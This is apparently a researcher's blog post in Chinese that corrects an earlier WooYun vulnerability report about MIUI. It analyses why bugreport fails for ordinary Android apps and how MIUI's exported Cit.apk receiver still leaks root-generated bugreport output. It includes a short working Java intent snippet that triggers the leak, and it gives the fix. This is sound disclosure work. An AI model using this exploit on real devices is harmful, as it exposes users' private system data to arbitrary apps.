之前在乌云发布的MIUI数据泄露漏洞之一(WooYun-2012-08222),其中的“详细说明”部分,存在部分错误。这个漏洞涉及bugreport,我错误地指出在shell下可以调用的bugreport,第三方应用软件也可以随便调用,这是错误的。由此在微博上和回复里引起对Android一般安全的讨论,向大家表示歉意。
此外,需要强调的是,由于Cit.apk的组件暴露,在MIUI系统下,该漏洞依然可以利用。
以下是详细的技术分析,包括我犯的错误,以及在MIUI下的利用方法。
bugreport的调用权限分析
bugreport在adb shell下即可调用并正确输出结果,但如果在应用软件中以普通权限调用Runtime.getRuntime().exec(),无论是执行”bugreport > /sdcard/report.txt”还是”bugreport”并读取返回的process的getInputStream(),均会通过stderr返回错误提示”Failed to connect to dumpstate service”。
查看bugreport的源码。问题出在这里:
/* start the dumpstate service */
property_set(
"ctl.start"
,
"dumpstate"
);
|
对普通的应用软件,在自己的UID下,property_set()会失败,导致dumpstate服务没有启动,因此bugreport等待十秒后出错退出。
需要指出几点:
1. bugrepot实际是启动dumpstate服务,并通过本地socket连接读取它的输出;
2. dumpstate的正确执行需要root权限,主要是第一步搜集dalvik vm的trace信息时,需要先将/data/anr/traces.txt备份,dump生成trace数据后再恢复。这两步都需要root。
3. 调用property_set()通常需要root或system这两个UID才能成功。但这里有一个例外规则:如果是启动dumpstate,有shell或log权限就可以了。参见system/core/init/property_service.c中的control_perms。
因此,在shell下可以成功调用bugreport,然后启动以root权限执行的dumpstate服务,从本地socket读取其输出的数据。但以普通APP的权限调用bugreport会失败。我在WooYun-2012-08222中所说的第二种利用方法无效,也就是说在一般的Android系统上bugreport的存在不会向第三方应用软件泄露系统数据。
MIUI漏洞的利用方法
然而,正如我在至少在MIUI中WooYun-2012-08222中所说,还有一种方法获得bugreport的输出结果。我们来看一下Cit.apk的manifest:
<
receiver
android:name
=
".CitBroadcastReceiver"
>
<
intent-filter
>
<
action
android:name
=
"android.provider.Telephony.SECRET_CODE"
/>
<
data
android:scheme
=
"android_secret_code"
android:host
=
"64663"
/>
<
data
android:scheme
=
"android_secret_code"
android:host
=
"284"
/>
<
data
android:scheme
=
"android_secret_code"
android:host
=
"6564"
/>
</
intent-filter
>
</
receiver
>
|
任何第三方应用软件都可以通过发送一个action为android.provider.Telephony.SECRET_CODE的intent,来使得这个receiver代码被执行。如果附加上android_secret_code://284的数据,就进入了bugreport分支。这一利用代码如下:
Intent intent =
new
Intent();
intent.setAction(
"android.provider.Telephony.SECRET_CODE"
);
intent.setData(Uri.parse(
"android_secret_code://284"
));
sendBroadcast(intent);
|
我们来看一下com.miui.cit.CitBroadcastReceiver这个接收器的代码片段:
if
(
"284"
.equals(paramIntent.getData().getHost())) {
this
.m_logFileName = CitUtils.getLogFilePath(
"bugreport"
);
Context localContext1 =
this
.mContext;
Context localContext2 =
this
.mContext;
Object[] arrayOfObject =
new
Object[
1
];
arrayOfObject[
0
] =
this
.m_logFileName;
Toast.makeText(localContext1, localContext2.getString(
2130968768
, arrayOfObject),
1
).show();
asyncExecute(
new
Runnable() {
public
void
run() {
try
{
String str = CitBroadcastReceiver.TAG;
String[] arrayOfString =
new
String[
3
];
arrayOfString[
0
] =
"bugreport"
;
arrayOfString[
1
] =
">"
;
arrayOfString[
2
] = CitBroadcastReceiver.access$
100
(CitBroadcastReceiver.
this
);
CitUtils.rootExecProgram(str, arrayOfString,
true
);
}
catch
(InterruptedException localInterruptedException) {
localInterruptedException.printStackTrace();
}
catch
(IOException localIOException) {
localIOException.printStackTrace();
}
}
});
}
|
也就是说,这个receiver会以root权限调用bugreport,并将结果保存至/sdcard/MIUI/debug_log/bugreport--.log文件中,后者可以被任意第三方应用软件读取。总结起来,就是任意第三方应用软件可以触发这段代码执行,然后读取到它的输出。
关于这类由于组件暴露导致的权限绕过,学术上叫做permission redelegation问题。修复的方法是,对receiver的调用要求signature级别的权限。
再次对我的错误表示道歉。以后的可能漏洞,我会做严格地验证,先把利用代码跑通,再上报。